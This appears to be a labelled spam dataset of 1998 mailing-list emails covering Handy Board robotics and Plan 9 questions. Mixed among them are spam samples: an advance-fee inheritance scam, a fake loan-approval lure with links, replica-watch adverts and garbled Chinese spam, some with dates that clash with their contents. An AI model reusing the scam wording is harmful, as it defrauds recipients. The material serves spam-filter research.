serial_putchar(10); > serial_putchar(13); > } > > void main(){ > newline(); > while(1){ > printdec(5); > } > } > > This is the code on the recieving HB: > void disable_pcode_serial() /* necessary to receive characters using serial _getchar */ > { > poke(0x3c, 1); > } > > void reenable_pcode_serial() /* necessary for IC to interact with board aga in */ > { > poke(0x3c, 0); > } > > int serial_getchar() > { > while (!(peek(0x102e) & 0x20)); /* wait for received character */ > return peek(0x102f); > } > > int main(){ > disable_pcode_serial(); > while(1){ > printf(""\\n%d"", serial_getchar()); > sleep(.05); > } > } > > > > > ----------------------------------------------------------------------------- ---------------------- > Peter Eacmen > Boston Latin School > babylongod@usa.net > > Knowledge is power, > power is money, > knowledge is money! > >",0,0 Australian Lottery ,Australian Lottery ,"Wed, 18 Nov 1998 15:28:02 +0300",Re: Congratulations.,"Australian Lottery. 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Phone: 407/249-6440 x425 --Mark Van Doren"" Fax: 407/249-6449 email: jonesj5@ocps.k12.fl.us ",0,0 """Graham, J. Todd"" ","""'jonesj5@ocps.k12.fl.us'"" , handyboard@media.mit.edu","Wed, 18 Nov 1998 12:17:45 -0600",RE: low-cost robot platform,"The platform in question was based on the 'Hercules' r/c car that is available at some of the FAO Schwarz stores. This platform appears to be identical to what was used by the USC entry in the 1997 Robo Cup competition. Clem (ctaylor@SRTC.COM) has purchased one of the kits, and was interfacing to the internal H-bridge. I have not heard anything further of the progress. There are a few pictures of USC's entry on the following pages: http://www.isi.edu/isd/dreamteam/ http://www.isi.edu/isd/dreamteam/pictures2.html Hope this helps! Todd -----Original Message----- From: jonesj5@ocps.k12.fl.us [mailto:jonesj5@ocps.k12.fl.us] Sent: Wednesday, November 18, 1998 10:35 AM To: handyboard@media.mit.edu Subject: low-cost robot platform A couple of weeks ago, someone wrote and said that Todd Graham had told them where to get a ""cool, low cost"" robot platform. I was wondering what, where, and how much was that platform? Information would be appreciated. thanks james jones ",0,1 """Genesys - Ing. en sistemas"" ",Handyboard Mailing List ,"Wed, 18 Nov 1998 15:19:49 -0300",Watchdog and Handyborad. ,"Anyone konw if is possible to implement a watchdog in the Handyboard? I try but the program hangs when i try to display something in the LCD. Thanks in advance. Germán Gentile ",0,0 MRS JANET GARANG ,handyboard@media.mit.edu,"Wed, 18 Nov 1998 20:57:59 +0700",KINDLY GIVE THIS AN URGENT AND CONFIDENTIAL ATTENTION PLS!!!,"Dear Sir, In the first place I wish to introduce my self to you I am Mrs. Janet Garang, the wife of Lieutenant Colonel John Garang Hinga the Leader of Sudanese People's Liberation Movement (SPLM) one of the leading political parties in Sudan, which was formed, in 1983. My late husband died during the out brake of the recent civil war in Sudan. Before his death, he held many important offices which includes being the prime minister in a coalition government between 1986 to 1989. He also was the leader of the Umma Party a strong political organization in Sudan. After his tenure as coalition prime minister, he was made to be in-charge of the payment of Sudanese Media communications department in 2001. My husband was killed by a group known as Sadiq al Mahdi at the on set of the civil war while fighting for the liberation of the Sudanese people from the hands of a dictatorship government.! I am 41 years old now and seriously ill although I am now receiving treatment in a hospital here in Thailand. During the period of our marriage we were blessed with a male child by name Mr. Minja John Hinga, who is here taking care of me. After the death of my husband, I inherited a huge amount of money ( US$5.5million US dollars) which my late husband deposited with a Security Company in Thailand for safe keeping. I decided to contact you to assist me and my son to claim this money from where it was deposited and probably guide us in investing the fund in a worthwhile flourishing business over there. I hereby ask for your help and assistance. Although I am a novice in business, I have an eye on real estates properties. Your advice on other areas of private sector will be highly appreciated. I believe that you would be of great help in guiding my son to a successful business investment in your country even when I am gone. I will appreciate if you will show interest in collaborating! with us, as this transaction will benefit both of us on joint venture partnership. Furthermore I am ready to give you a good negotiable percentage cash reward for your assistance. Detailed information on other proceedings will be made available to you upon receiving your reply showing interest in collaborating with us as I look forward to your urgent reply. We may need your personal telephone numbers for more information. Sincerely Yours, Mrs. Janet Garang ",1,0 Will ,Handyboard Mailing List ,"Wed, 18 Nov 1998 12:41:49 -0700",Re: I overcharged my handyboard.,"MADHU SUDAN GADDAMIDI wrote: > I think I overcharged my handyboard, I chargedf it for two days. I > charged my handyboard using the Normal charge method. My handyboard is > not responding at all. There is no power bulb glowing. What is the battery voltage? Does it work with a different battery or DC adapter? --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Virtue is insufficient temptation. Will Bain, & Tatoosh --George Bernard Shaw ",0,0 wengd@optionshealthcare.com,handyboard@media.mit.edu,"Wed, 18 Nov 1998 15:35:56 -0500",Other batteries...,"Is it ok to use batteries of the sealed lead-acid type (from a UPS). I have V 7.5 Ah and I was wondering if the battery charge circuts would work correctly if I simply replaced the NiCd pack with the lead-acid battery. Are there any considerations other than charging. -Drew ",0,0 Franklin <973930@dcc.unicamp.br>,9fans@cse.psu.edu,"Wed, 18 Nov 1998 19:06:14 -0200",[9fans] map and unmap pages of memory," I'd like to map and unmap pages of memory. In Unix there exists map and unmap functions defined in /usr/include/sys/mman.h. How could I use these functions in Plan 9? Franklin. ",0,0 Russ Cox ,9fans@cse.psu.edu,"Wed, 18 Nov 1998 16:13:47 -0500",re: [9fans] map and unmap pages of memory,"Depending on what sort of memory you want to map and unmap, segattach might be what you're looking for. There's no mmap() that does memory-mapped files. Russ ",0,0 """Chameleons L. Marxism"" ",Bait ,"Wed, 18 Nov 1998 10:35:06 -0400","Beautiful quartz, water-resistant Replica Watches!","REPLICA //ATCHES BAZAAR! Chose your favorite /// a t c he $$$!!!!! http://0b6t5hne5voez0iyni0g5iii.putchenhi.com gift b0xes available! alain silberstein @. lange audemars piguet bmw breguet breitling bvlgari cartier chopard chronoswiss corum franck muller longines maurice lacroix montblanc omega panerai patek philippe piaget tag heuer ulysse nardin vacheron constantin VIP Breguet louis vuitton //arranty!!! Manufacturers' defects are covered by 30 -days' warranty from the day you receive it. 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It thus can be used as an indirect measure of the virtual memory system overhead. /* * Copyright (c) 1997 The President and Fellows of Harvard College. * All rights reserved. * Copyright (c) 1997 Aaron B. Brown. * Copyright (c) 1994 Larry McVoy. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program, in the file COPYING in this distribution; * if not, write to the Free Software Foundation, Inc., 675 Mass Ave, * Cambridge, MA 02139, USA. * * This work is derived from, but can no longer be called, lmbench. * Results obtained from this benchmark may be published only under the * name ""HBench-OS"". */ /* * bw_mmap_rd.c - time reading & summing of a file using mmap * * Usage: bw_mmap_rd size file * * Without hardware counters, sizes less than 2m are not recommended. * Memory is read by summing it up so the numbers include the cost of * the adds. If you use sizes large enough, you can compare to * bw_mem_rd and get the cost of TLB fills (very roughly). * * We don't do an internal iteration loop in this benchmark since mmap * read cannot be repeated (if we did, we'd lose the interesting timing * from the initial read). * The benchmark is structured in the iterative form for consistency, though. * * Based on: * $lmbenchId: bw_mmap_rd.c,v 1.3 1995/10/26 01:03:42 lm Exp $ * * $Id: bw_mmap_rd.c,v 1.8 1997/06/27 00:33:58 abrown Exp $ */ char *id = ""$Id: bw_mmap_rd.c,v 1.8 1997/06/27 00:33:58 abrown Exp $\\n""; #include ""common.c"" #include #include /* * Use unsigned int: supposedly the ""optimal"" transfer size for a given * architecture. */ #ifndef TYPE #define TYPE unsigned int #endif #ifndef SIZE #define SIZE sizeof(TYPE) #endif #define CHK(x) if ((int)(x) == -1) { perror(""x""); exit(1); } /* * The worker function. We don't really need it here; it is just to make * the structure parallel the other tests. */ int do_mmapread(); /* * Global variables: these are the parameters required by the worker routine. * We make them global to avoid portability problems with variable argument * lists and the gen_iterations function */ unsigned int bytes; /* the number of bytes to be read */ int fd; /* file descriptor of open file */ main(ac, av) int ac; char **av; { clk_t totaltime; unsigned int xferred; struct stat sbuf; int niter; /* print out RCS ID to stderr*/ fprintf(stderr, ""%s"", id); /* Check command-line arguments */ if (parse_counter_args(∾, &av) || ac != 4) { fprintf(stderr, ""Usage: %s%s ignored size file\\n"", av[0], counter_argstring); exit(1); } /* parse command line parameters */ niter = atoi(av[1]); bytes = parse_bytes(av[2]); CHK(fd = open(av[3], 0)); CHK(fstat(fd, &sbuf)); if (bytes > sbuf.st_size) { fprintf(stderr, ""%s: is too small; %d bytes requested but only"" "" %d available\\n"", av[3], bytes, sbuf.st_size); exit(1); } /* * The gory calculation on the next line computes the actual number of * bytes tranferred by the unrolled loop. */ xferred = (200*SIZE)*((((bytes/SIZE)-200)+199)/200); if (xferred == 0) { fprintf(stderr, ""error: buffer size too small: must be at "" ""least %d bytes.\\n"",201*SIZE); printf(""\\n""); exit(1); } /* initialize timing module (calculates timing overhead, etc) */ init_timing(); /* Get the number of iterations */ if (niter == 0) { /* We always do 1 iteration here */ printf(""1\\n""); return (0); } /* * Take the real data */ #ifndef COLD_CACHE do_mmapread(1, &totaltime); /* prime the cache */ #endif do_mmapread(1, &totaltime); /* get cached reread */ output_bandwidth(xferred, totaltime); return (0); } /* * This function does all the work. It reads ""bytes"" from ""fd"" * ""num_iter"" times via mmap and reports the total time in whatever * unit our clock is using. * * Note that num_iter > 1 is not useful in dealing with low-resolution * timers, since each loop is timed individually. * * Returns 0 if the benchmark was successful, and -1 if there were too many * iterations. */ int do_mmapread(num_iter, t) int num_iter; clk_t *t; { /* * Global parameters * * unsigned int bytes; * int fd; */ register TYPE *p; register unsigned long sum; register TYPE *end; int i; TYPE *where; /* Try to map in the file */ #ifdef MAP_FILE CHK(where = (TYPE *)mmap(0, bytes, PROT_READ, MAP_FILE|MAP_SHARED, fd, 0)); #else CHK(where = (TYPE *)mmap(0, bytes, PROT_READ, MAP_SHARED, fd, 0)); #endif p = where; #define TWENTY sum += p[0]+p[1]+p[2]+p[3]+p[4]+p[5]+p[6]+p[7]+p[8]+p[9]+ \\ p[10]+p[11]+p[12]+p[13]+p[14]+p[15]+p[16]+p[17]+p[18]+p[19]; \\ p += 20; #define HUNDRED TWENTY TWENTY TWENTY TWENTY TWENTY sum = 0; end = where + (bytes/SIZE) - 200; *t = 0; /* Do the read num_iter times, remapping the file each time around */ for (i = num_iter; i > 0; i--) { munmap((char *)where, bytes); #ifdef MAP_FILE CHK(where = (TYPE *)mmap(0, bytes, PROT_READ, MAP_FILE|MAP_SHARED, fd, 0)); #else CHK(where = (TYPE *)mmap(0, bytes, PROT_READ, MAP_SHARED, fd, 0)); #endif start(); for (p = where; p < end; ) { HUNDRED HUNDRED } *t += stop(sum); } /* Remove our mapping */ munmap((char *)where, bytes); return(0); } The problem is in mmap and munmap functions which are defined in /usr/include/sys/mman.h (UNIX). Franklin.",0,1 Stephen Skwish ,handyboard@media.mit.edu,"Wed, 18 Nov 1998 17:36:01 -0500",Miniboard/download mode,"Hi all, I have a miniboard I built recently that won't go into download mode. In the note called ""mb-debug.txt"" on ftp://Cherupakha.media.mit from Chuck McManis he describes the exact problem I have. ""If the RED LED light ups, or the motor LEDS flicker, then you are probably not in download mode. This can be caused by a defective run/download switch or an open connection on the 5V pin of the switch."" The switch checks out O.K. and I have 5 V on the first pin. The third pin is ground as it should be and the center pin connect to MOBD on the 6811 chip. Does anyone have other suggestions?? (sorry this is not handyboard) Stephen sskwish@worldnet.att.net ",0,0 Regina Meza ,handyboard@media.mit.edu,"Wed, 18 Nov 1998 10:54:49 -0600",RERE:WE approved yours loan jp1,"Dear Homeowner, http://paymortz.com You have been approved for a $ 875,459 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://paymortz.com Best Regards Don Nut Loan Manager http://paymortz.com/lit.html handyboard@media.mit.edu wrote: > RERE:WE approved yours loan v20vod2l7t ",1,1 Tom Brusehaver ,sskwish@worldnet.att.net,"Wed, 18 Nov 1998 17:01:10 -0600",Re: Miniboard/download mode," >The switch checks out O.K. and I have 5 V on the first pin. The third >pin is ground as it should be and the center pin connect to MOBD on the >6811 chip. > >Does anyone have other suggestions?? (sorry this is not handyboard) Check the voltage at the MOBD pin on the chip (not the socket, not the bottom of the board). If it is 5V with the switch in the one position, and ground (0V) in the other position, you may have a defective chip. Otherwise I'd guess open solder. ",0,0 Russ Cox ,9fans@cse.psu.edu,"Wed, 18 Nov 1998 18:28:45 -0500",Re: [9fans] map and unmap pages of memory,"That test from hBench-OS is measuring the speed of the memory-mapped file calls, which don't exist in Plan 9. The necessary hooks are there and are being used to load executable images -- a long time ago I thought about proposing an extension to segattach to accept ""file!n"" where n is an open file descriptor as at least a read-only mmap. I'ld be interested to hear what numbers you got out of hBench under Plan 9 on a particular machine as compared with that same exact machine running say Linux or one of the BSDs. Russ ",0,0 Jolene Stewart ,"handyboard@media.mit.edu, yolanda@media.mit.edu, freda@media.mit.edu, carlene@media.mit.edu, stefanie@media.mit.edu, kenya@media.mit.edu, loretta@media.mit.edu","Wed, 18 Nov 1998 14:53:58 -0500","is your memory bad, we can help","may arrear try caption but ammo ! centerpiece be max ",1,0 Paul Borman ,9fans@cse.psu.edu,"Wed, 18 Nov 1998 22:38:25 -0600",Re: [9fans] map and unmap pages of memory,"Please be careful on how you read the numbers from hbench-OS. At least the networking numbers are probably not measuring what you think. The benchmarks are flawed in several aspects and actually measure different things on different OS's. I have not examined their benchmarks of map and unmap, however, if they are as simplistic as the networking benchmarks they they are probably measuring something that is related, but not quite what you expect. -Paul Borman prb@bsdi.com PS: A good benchmark is often hard to write > From: ""Russ Cox"" > Sender: owner-9fans@cse.psu.edu > Date: Wed, 18 Nov 1998 18:28:45 -0500 > Subject: Re: [9fans] map and unmap pages of memory > To: 9fans@cse.psu.edu > > That test from hBench-OS is measuring the speed of the > memory-mapped file calls, which don't exist in Plan 9. ... > I'ld be interested to hear what numbers you got > out of hBench under Plan 9 on a particular machine as compared > with that same exact machine running say Linux or one of > the BSDs. > > Russ",0,0 jdunn@unm.edu,wengd@optionshealthcare.com,"Wed, 18 Nov 1998 23:36:14 -0700",Re: Other batteries...,"A gell cell battery is charged via a maximum allowed charging voltage. If the charger doesn't limit the charging voltage to less than 14 volts it will shorten the life of a 12v gell cell considerably. A Ni-Cad uses a constant charging current, but the voltage can easily get up to 18v. I'm sure you can find more technical information on the subject, but I suggest not exceeding a 14v limit for 12v gell cells. Most any battery wholesaler would be able to provide you with specific information. You can find them in the yellow pages under 'batteries, commercial, wholesale'. wengd@optionshealthcare.com wrote: > > Is it ok to use batteries of the sealed lead-acid type (from a UPS). I > have V 7.5 Ah and I was wondering if the battery charge circuts would > work correctly if I simply replaced the NiCd pack with the lead-acid > battery. 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I´m want to use a Sharp GP2D02 Distance Sensor, for this sensor i need two ports. 1 port for activating the sensor (HIGH and LOW Level) 1 port for data receiving I hope someone can help me !!! thanx Bernd Klein ",0,0 Bernd Klein ,"""handyboard@media.mit.edu"" , ""Fred G. Martin"" ","Thu, 19 Nov 1998 09:55:02 +0100",Help Y0-Y5,"Sorry for my bad english ! i want to write - i have a big problem, i want to use the ports Y0-Y5 but i don´t know how i use them. Bernd Klein ",0,0 Richard Uhtenwoldt ,9fans@cse.psu.edu,"Thu, 19 Nov 1998 01:18:25 -0800",[9fans] removing a name from the name space,"using BIND, a process can customize a namespace so that /big/long/file/name can be referred to as /biggie. is there a way to *remove* /big/long/file/name from the namespace as seen from a particular process? why would one want to do that? well, suppose that I want to run a game that does not need the network. before I run the game, I remove the file that ""exports"" (terminology?) the network interface from the game's namespace so that it impossible for the game to act as a trojan horse. so, it is useful for security reasons. ",0,0 Alize Blain ,handyboard@media.mit.edu,"Thu, 19 Nov 1998 00:18:48 -0500","beware, fatigue can kill you",", billfold some motorcycle and hallelujah but teaspoon may sweep ",1,0 Joe Martin ,Handy Board ,"Thu, 19 Nov 1998 20:32:56 +1100",RE: PE4,"Rajbala, PE4 is the 3rd pin on the 68HC11. Just by looking at the schematics in the HB manual I would think that it probably does connect to analog input 4. Joe Martin > -----Original Message----- > From: Rajbala Makar [mailto:makarraj@cse.msu.edu] > Sent: Wednesday, 18 November 1998 5:27 AM > To: handyboard@media.mit.edu > Subject: PE4 > > > Hi : > > It is given in the standard ir_detect() routine that the > detector should be connected to PE4? Can anyone tell me > what is PE4 ? Is it the same as analog input 4 ? > > Thanks > . > Rajbala > ",0,0 steve_kilbane@cegelecproj.co.uk,9fans@cse.psu.edu,"Thu, 19 Nov 1998 12:13:23 +0000",Re: [9fans] removing a name from the name space,"On 19/11/98 09:18:25 Richard Uhtenwoldt wrote: > why would one want to do that? well, suppose that I > want to run a game that does not need the network. > before I run the game, I remove the file that ""exports"" > (terminology?) the network interface from the game's > namespace so that it impossible for the game to act as a > trojan horse. so, it is useful for security reasons. Wrong way round. You create a new namespace, using rfork(), and only attach to it the parts of the system that you need. See the ftp and http servers for examples. steve ",0,0 Jennifer Radtke ,9fans@cse.psu.edu,"Wed, 18 Nov 1998 20:06:48 +0000",[9fans] OSDI '99: Program Available,"3rd Symposium on Operating Systems Design and Implementation OSDI '99 February 22-25, 1999 New Orleans, LA, USA Sponsored by the USENIX Association Co-Sponsored by IEEE TCOS and ACM SIGOPS The Future in Operating Systems Research and Innovation-- Engage in Open Discussion and Hear Multiple Points of View ============================================= For Detailed Program and Online Registration: http://www.usenix.org/events/osdi99 ============================================= World Wide Web an OS Issue? Hear Why in the Keynote by Jim Gettys, Compaq Computer Corporation ATTEND THESE ADVANCED TUTORIALS IN: Building Security (for Developers) Marcus J. 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I have a small and useless robot that simply rolls around on the floor and bumps off things. The motors are powered by a small Gel-Cell. I had run it that day and run the motor batteries flat, so I rigged a simple charger (a transformer and bridge rectifier), hooked it up and a couple of hours later left the house. A few more hours I came home and found a strange smell in the air. After about 15 minutes investigating, I recognized the smell as sulfer. I found the battery hot and bubbling. I said to myself that I'm going to have to get another battery, this one is toast. Well that was four months ago, I flipped on the robot yesterday and the motors came up to full speed. The battery has kept its charge for all this time. I do not know what the drain life of the battery is, but I didn't know what it was before I cooked it either. I just wanted to say I'm surprised at how robust these little guys are. Pherd ",0,0 wengd@optionshealthcare.com,"handyboard@media.mit.edu, FThompson9@aol.com","Thu, 19 Nov 1998 09:41:50 -0500",Re: Other batteries... -Reply,"I guess what I'm wondering if the recharge circuit on the Handyboard Serial/charger board will work well with a sealed lead-acid/gel-cell. r than the pleasure of smelling boiling H2SO4 what could happen?? ould be convienent to just use the HB charger but I don't think the NiCd pack will last long running two motors, a servo, sonar et al... -Drew ",0,0 presotto@plan9.bell-labs.com,9fans@cse.psu.edu,"Thu, 19 Nov 1998 10:22:35 -0500",re: [9fans] removing a name from the name space,"You might want to do something that we did in inferno also. We added a system call that disables a process' ability to dereference '#xxxx' names, i.e., local devices. That way, once you've built a namespace, you can keep anyone from adding things to it that you don't already have access to. That gives you a more secure sandbox to play in. To build a safe namespace, you really wan't one where you can't expose files via unbinding. For example, hiding /x/y/x by binding an empty directory onto /x/y isn't very safe since the program can unbind it. You would be best served by buidling a namespace starting at the root and working your way down. For example: # create a sandbox mkdir sandbox/x mkdir sandbox/x/bin mkdir sandbox/dev > sandbox/dev/cons > sandbox/dev/mouse > sandbox/dev/time mkdir sandbox/tmp # bind things into it bind -c /386/safebin sandbox/x/bin bind -c /dev/cons sandbox/x/dev/cons bind -c /dev/mouse sandbox/x/dev/mouse bind -c /dev/time sandbox/x/dev/time # replace the root bind -c sandbox/x / magic call to turn off '#' access At this point you can exec a game and it will be hard pressed to get to things outside the original namespace though it can still change its namespace. ------ forwarded message follows ------ >From cse.psu.edu!owner-9fans Thu Nov 19 04:19:52 EST 1998 Received: from plan9.bell-labs.com ([135.104.9.2]) by plan9; Thu Nov 19 04:19:52 EST 1998 Received: from cse.psu.edu ([130.203.3.50]) by plan9; Thu Nov 19 04:19:51 EST 1998 Received: from localhost (majordom@localhost) by cse.psu.edu (8.8.8/8.8.8) with SMTP id EAA15022; Thu, 19 Nov 1998 04:19:36 -0500 (EST) Received: by claven.cse.psu.edu (bulk_mailer v1.5); Thu, 19 Nov 1998 04:18:39 -0500 Received: (from majordom@localhost) by cse.psu.edu (8.8.8/8.8.8) id EAA14977 for 9fans-outgoing; Thu, 19 Nov 1998 04:18:34 -0500 (EST) X-Authentication-Warning: claven.cse.psu.edu: majordom set sender to owner-9fans using -f Received: from ohio.river.org (river.org [209.24.233.15]) by cse.psu.edu (8.8.8/8.8.8) with ESMTP id EAA14973 for <9fans@cse.psu.edu>; Thu, 19 Nov 1998 04:18:30 -0500 (EST) Received: (from ru@localhost) by ohio.river.org (8.8.8/8.7.3) id BAA13296; Thu, 19 Nov 1998 01:18:25 -0800 (PST) Date: Thu, 19 Nov 1998 01:18:25 -0800 (PST) Message-Id: <199811190918.BAA13296@ohio.river.org> From: Richard Uhtenwoldt To: 9fans@cse.psu.edu Subject: [9fans] removing a name from the name space Sender: owner-9fans@cse.psu.edu Reply-To: 9fans@cse.psu.edu Precedence: bulk using BIND, a process can customize a namespace so that /big/long/file/name can be referred to as /biggie. is there a way to *remove* /big/long/file/name from the namespace as seen from a particular process? why would one want to do that? well, suppose that I want to run a game that does not need the network. before I run the game, I remove the file that ""exports"" (terminology?) the network interface from the game's namespace so that it impossible for the game to act as a trojan horse. so, it is useful for security reasons.",0,0 Roger Peppe ,9fans@cse.psu.edu,"Thu, 19 Nov 1998 15:53:34 +0000",Re: [9fans] removing a name from the name space,"> # create a sandbox > mkdir sandbox/x > mkdir sandbox/x/bin > mkdir sandbox/dev > > sandbox/dev/cons > > sandbox/dev/mouse > > sandbox/dev/time > mkdir sandbox/tmp > > # bind things into it > bind -c /386/safebin sandbox/x/bin > bind -c /dev/cons sandbox/x/dev/cons > bind -c /dev/mouse sandbox/x/dev/mouse > bind -c /dev/time sandbox/x/dev/time > > # replace the root > bind -c sandbox/x / > magic call to turn off '#' access > > At this point you can exec a game and it will be hard > pressed to get to things outside the original namespace > though it can still change its namespace. does this guarantee that if you cd to sandbox/x/bin/.. you will be in sandbox/x, not /386? i found the semantics of "".."" always seemed rather unobvious within the plan 9 namespace (particularly with union directories...) is there a simple way of understanding it? cheers, rog. ",0,0 0c54d.czkjt@hotmail.com,,"Thu, 19 Nov 1998 19:40:40 +0800", 台资B2C网路全球创业网，成就你我创业梦想2006-4,"=?GB2312?B?LTI4?= 20:27:56 9fans@cse.psu.edu To: 9fans@cse.psu.edu Content-Type: multipart/alternative; boundary=""=_NextPart_2rfkindysadvnqw3nerasdf""; charset=""GB2312"" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Sender: 0c54d.czkjt@hotmail.com Reply-To: 0c54d.czkjt@hotmail.com Date: Thu, 19 Nov 1998 19:40:04 +0800 X-Priority: 3 X-Library: Indy 9.00.10 X-Mailer:Dynamailer V 8.0 X-MimeOLE:Produced By Mircosoft MimeOLE V6.00.2600.0000 Return-Path:0c54d.czkjt@hotmail.com This is a multi-part message in MIME format --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/plain Content-Transfer-Encoding: quoted-printable charset=""GB2312"" --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/html Content-Transfer-Encoding: 7bit charset=""GB2312"" Anne04-2820:27:56 �������������������� ������������������������ �������������������������� �������������������� ��������������������������-- ����������100���� ������������������������ �������� ���������� .... ������������������: http://mei98.123soho.net �� ������QQ��3Tue, 3 Jul 1894 12:27:59 QQ��382208730 Yahoo Messenger: yzxcg940416  MSN:yzxcg940416@hotmail.com http://mei98.123soho.net ���������������������������������������������������������������� --=_NextPart_2rfkindysadvnqw3nerasdf--",1,1 ctaylor@SRTC.COM,handyboard@media.mit.edu,"Thu, 19 Nov 1998 14:31:04 -0500",Sharp IS1U60 availablity,"I'm looking to purchase about 12-15 IS1U60s to use as optical bump sensors and I'm having trouble finding someone that has them in stock and doesn't want $5.50 for them. Sterling Electronics, 781-938-6200, sells the part for around $1.75, with a $25 min order, but they don't have any in stock and don't expect to get parts until sometime in Feb. A few other companies had them in stock but they had a minimum quantity of 100 units. Any ideas who I can try? --Clem ",0,0 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Thu, 19 Nov 1998 20:49:17 +0000",Re: [9fans] removing a name from the name space,">>is there a simple way of understanding it? i believe .. simply picks one of the parents. ",0,0 tim@varesearch.com,ggilfoyl@richmond.edu,"Thu, 19 Nov 1998 12:54:06 -0800",Re: [sales] modified quote and some questions," Dr. Gilfoyle, I will be faxing a revised quote shortly. Some preliminary answers to your questions: > > 1. How many SPECINTS is each machine? Is that performance > rating for each processor or for both? Unfortunately, we have not b'marked the 2x450's. i do have some numbers for a dual 400 though: specint_rate 214 specfp_rate 98.4 > > 2. How many FLOPS is each machine? Preliminary numbers from a customer who has set up a similar config have been ~30 MegaFLOPS. These tests have not been run internally. > > I have one question about the quote (981027-T2). > > 1. Is the KVM switch the device that allows us to change the > computer the monitor is attached to? Yes > > I have some requests for a new, modified quote. > > 1. We will probably have one monitor permanently attached to > a central node and two monitors attached to the two switches. > Hence, we need three monitors not just one as listed in the > original quote. > > 2. We would like those monitors to be 20"" ones. > > 3. If you have a form of extended warranty or maintenance we > would like to include it in this new quote. We have extended warranties available. Depending on the hardware configuration, we can offer a rate for 2 extra years in addition to the one you get with the system purchase. I'll also include this in the revised quote. Best Regards, Tim -- __________________________________________________________________ Tim O'Mahoney V: 650.934.3666x123 VA Research Sales F: 650.964.7668 http://www.varesearch.com 1-888-LINUX-4-U ",0,1 tim@varesearch.com,ggilfoyl@richmond.edu,"Thu, 19 Nov 1998 13:41:46 -0800",Revision," Dr. Gilfoyle, It occurred to me that your request for three monitors is not really necessary. The set up as I have quoted basically allows you to control all 9 nodes and 1 master from one station. The KVM switch has 8 ports so two units connected to each other are necessary to link 10 systems. Of course we'll set it up how you like but it seems a waste of money to have three monitors set up for 10 systems when one would suffice. Please let me know what you think. Tim -- __________________________________________________________________ Tim O'Mahoney V: 650.934.3666x123 VA Research Sales F: 650.964.7668 http://www.varesearch.com 1-888-LINUX-4-U ",0,1 """Joe Marie J. Maja"" ",Clem Taylor ,"Fri, 20 Nov 1998 09:30:18 +0900",Re: Sharp IS1U60 availablity,"Clem Taylor wrote: > I'm looking to purchase about 12-15 IS1U60s to use as optical bump sensors > and I'm having trouble finding someone that has them in stock and doesn't > want $5.50 for them. > How about a replacement of the IS1U60, which you can find in JAMECO Part No. 106382 or Part No. 131908 Though a little bit expensive. joema ",0,0 Grizzly ,handyboard@media.mit.edu,"Thu, 19 Nov 1998 17:16:03 -0800",robots,"I WANT TO BE ON THE LIST. ",0,0 phillip chia ,"handybd , FThompson9@aol.com","Thu, 19 Nov 1998 10:01:57 +0800",Re: motor port problem .,"hi, I have a big problem. I followed the method of yours that just lift up pin 8 of one L293 and wirewrapped it. The positive supply is wirewrapped to pin 8 . How about the negative supply of the batteries should insert or wirewrapped? I inserted the negative supply in the bottom row of digital input as ground together. Suddenly. after a short while, the L293 turn so hot. It burnt my hand. Besides, the socket on the HD mounted with pin 4,5,12,13 of L293 has melted in that particular area. Simply it is a plastic part. What is really happens ? Should I also wirewrapped the negative supply to one of the grounding point pin of L293 ? By the way, If I cut the trace on HD, is it only cut the trace to the positive supply only . How about the negative supply trace ? should I cut? BEsides, If I cut, it there any way to mend it back to originally ? MOST IMPORTANTLY, Where should I cut ? Please show me the path? My proect jam down here. I really in a rush to complete and submit the project . thank you very much . Please reply asap. rgds, phillip ---------- > From: FThompson9@aol.com > To: handyboard@media.mit.edu > Subject: Re: motor port problem . > Date: Tuesday, November 17, 1998 10:00 PM > > Philip > I would first suspect that the motor chip has blown. This is eash to > check since the Handy board has two L293 chips. Swap them (disconnect your > motor connections) and run testmotors(). If the problem follows the chips, > replace the bad one. (You might want to buy a small stock of extra L293 > chips.) If the problem does not follow the chips, I would suspect the 68HC11 > chip. You will probably need an osciloscope to be sure, but start at the > inputs to the L293 and trace back to the chip to be sure of the signal your > getting. (There is a 74374 and 7404 that you will need to check. You will > find all this documented in the Handy Board Technical Reference manual. See > page 49 for details on the motor drive. > > Pherd ",0,0 phillip chia ,"handybd , FThompson9@aol.com","Thu, 19 Nov 1998 10:21:19 +0800",Re: motor port problem .,"hi , Attached from the previous mail, I have already solved the problem listed below. It is the 7404 is damaged .What causes it? Any ideas? RIght now this problem that melted my socket on the L293, the supply I used is 12V supply to my 2 DC motors. I'm using Grandcell rechargable alkaline batteries. Each is 1.5v. The measure current is about 700mA. rgds, phillip ---------- > From: FThompson9@aol.com > To: handyboard@media.mit.edu > Subject: Re: motor port problem . > Date: Tuesday, November 17, 1998 10:00 PM > > Philip > I would first suspect that the motor chip has blown. This is eash to > check since the Handy board has two L293 chips. Swap them (disconnect your > motor connections) and run testmotors(). If the problem follows the chips, > replace the bad one. (You might want to buy a small stock of extra L293 > chips.) If the problem does not follow the chips, I would suspect the 68HC11 > chip. You will probably need an osciloscope to be sure, but start at the > inputs to the L293 and trace back to the chip to be sure of the signal your > getting. (There is a 74374 and 7404 that you will need to check. You will > find all this documented in the Handy Board Technical Reference manual. See > page 49 for details on the motor drive. > > Pherd ",0,0 Vera Walls ,"9fans@cse.psu.edu, genevieve@cse.psu.edu","Thu, 19 Nov 1998 23:07:22 +0100",Replica Watches,"Get the Finest Rolex Watch Replica We only sell premium watches. There's no battery in these replicas just like the real ones since they charge themselves as you move. The second hand moves JUST like the real ones, too. These original watches sell in stores for thousands of dollars. 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G. Micro 800-276-2206 www.bgmicro.com I would not be too concerned with the actual part number, just look for an Infared sensor or remote control sensor. Also get the pin outs as these may be different. Also have you considered using fewer sensors and 